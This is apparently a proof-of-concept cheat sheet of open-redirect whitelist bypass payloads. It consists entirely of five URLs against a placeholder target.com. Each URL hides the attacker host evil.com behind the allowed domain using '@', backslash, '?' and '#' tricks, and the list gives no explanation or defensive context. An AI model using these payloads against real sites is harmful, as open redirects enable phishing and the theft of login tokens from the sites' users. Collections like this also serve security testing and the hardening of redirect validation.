POC
"@"
http://www.target.com/redirecturl=http://whitelist.com@evil.com"\"
http://www.target.com/redirecturl=http://evil.com\a.whitelist.com"\\"
http://www.target.com/redirecturl=http://evil.com\\a.whitelist.com"?"
http://www.target.com/redirecturl=http://evil.com?a.whitelist.com"#"
http://www.target.com/redirecturl=http://evil.com#a.whitelist.com